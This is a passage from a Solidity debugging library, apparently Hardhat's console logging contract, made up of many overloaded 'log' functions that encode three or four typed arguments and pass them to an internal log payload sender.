function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
